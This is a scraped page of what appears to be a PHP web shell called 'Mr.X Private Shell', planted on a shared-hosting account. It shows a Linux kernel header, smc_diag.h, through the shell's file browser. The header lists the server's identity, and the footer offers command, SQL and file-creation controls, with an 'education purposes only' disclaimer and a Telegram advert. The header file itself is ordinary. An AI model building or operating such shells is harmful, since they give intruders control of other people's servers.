Uname: Linux 50-6-4-53.bluehost.com 5.14.0-611.41.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 19 03:50:11 EDT 2026 x86_64
User: 1011 (dccreditrepairto)
Group: 1010 (dccreditrepairto)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//usr/include/linux      ( Reset | Go to )
File Name: smc_diag.h
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _SMC_DIAG_H_
#define _SMC_DIAG_H_

#include <linux/types.h>
#include <linux/inet_diag.h>
#include <rdma/ib_user_verbs.h>

/* Request structure */
struct smc_diag_req {
    __u8    diag_family;
    __u8    pad[2];
    __u8    diag_ext;        /* Query extended information */
    struct inet_diag_sockid    id;
};

/* Base info structure. It contains socket identity (addrs/ports/cookie) based
 * on the internal clcsock, and more SMC-related socket data
 */
struct smc_diag_msg {
    __u8        diag_family;
    __u8        diag_state;
    union {
        __u8    diag_mode;
        __u8    diag_fallback; /* the old name of the field */
    };
    __u8        diag_shutdown;
    struct inet_diag_sockid id;

    __u32        diag_uid;
    __aligned_u64    diag_inode;
};

/* Mode of a connection */
enum {
    SMC_DIAG_MODE_SMCR,
    SMC_DIAG_MODE_FALLBACK_TCP,
    SMC_DIAG_MODE_SMCD,
};

/* Extensions */

enum {
    SMC_DIAG_NONE,
    SMC_DIAG_CONNINFO,
    SMC_DIAG_LGRINFO,
    SMC_DIAG_SHUTDOWN,
    SMC_DIAG_DMBINFO,
    SMC_DIAG_FALLBACK,
    __SMC_DIAG_MAX,
};

#define SMC_DIAG_MAX (__SMC_DIAG_MAX - 1)

/* SMC_DIAG_CONNINFO */

struct smc_diag_cursor {
    __u16    reserved;
    __u16    wrap;
    __u32    count;
};

struct smc_diag_conninfo {
    __u32            token;        /* unique connection id */
    __u32            sndbuf_size;    /* size of send buffer */
    __u32            rmbe_size;    /* size of RMB element */
    __u32            peer_rmbe_size;    /* size of peer RMB element */
    /* local RMB element cursors */
    struct smc_diag_cursor    rx_prod;    /* received producer cursor */
    struct smc_diag_cursor    rx_cons;    /* received consumer cursor */
    /* peer RMB element cursors */
    struct smc_diag_cursor    tx_prod;    /* sent producer cursor */
    struct smc_diag_cursor    tx_cons;    /* sent consumer cursor */
    __u8            rx_prod_flags;    /* received producer flags */
    __u8            rx_conn_state_flags; /* recvd connection flags*/
    __u8            tx_prod_flags;    /* sent producer flags */
    __u8            tx_conn_state_flags; /* sent connection flags*/
    /* send buffer cursors */
    struct smc_diag_cursor    tx_prep;    /* prepared to be sent cursor */
    struct smc_diag_cursor    tx_sent;    /* sent cursor */
    struct smc_diag_cursor    tx_fin;        /* confirmed sent cursor */
};

/* SMC_DIAG_LINKINFO */

struct smc_diag_linkinfo {
    __u8 link_id;            /* link identifier */
    __u8 ibname[IB_DEVICE_NAME_MAX]; /* name of the RDMA device */
    __u8 ibport;            /* RDMA device port number */
    __u8 gid[40];            /* local GID */
    __u8 peer_gid[40];        /* peer GID */
};

struct smc_diag_lgrinfo {
    struct smc_diag_linkinfo    lnk[1];
    __u8                role;
};

struct smc_diag_fallback {
    __u32 reason;
    __u32 peer_diagnosis;
};

struct smcd_diag_dmbinfo {        /* SMC-D Socket internals */
    __u32        linkid;        /* Link identifier */
    __aligned_u64    peer_gid;    /* Peer GID */
    __aligned_u64    my_gid;        /* My GID */
    __aligned_u64    token;        /* Token of DMB */
    __aligned_u64    peer_token;    /* Token of remote DMBE */
    __aligned_u64    peer_gid_ext;    /* Peer GID (extended part) */
    __aligned_u64    my_gid_ext;    /* My GID (extended part) */
};

#endif /* _SMC_DIAG_H_ */

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL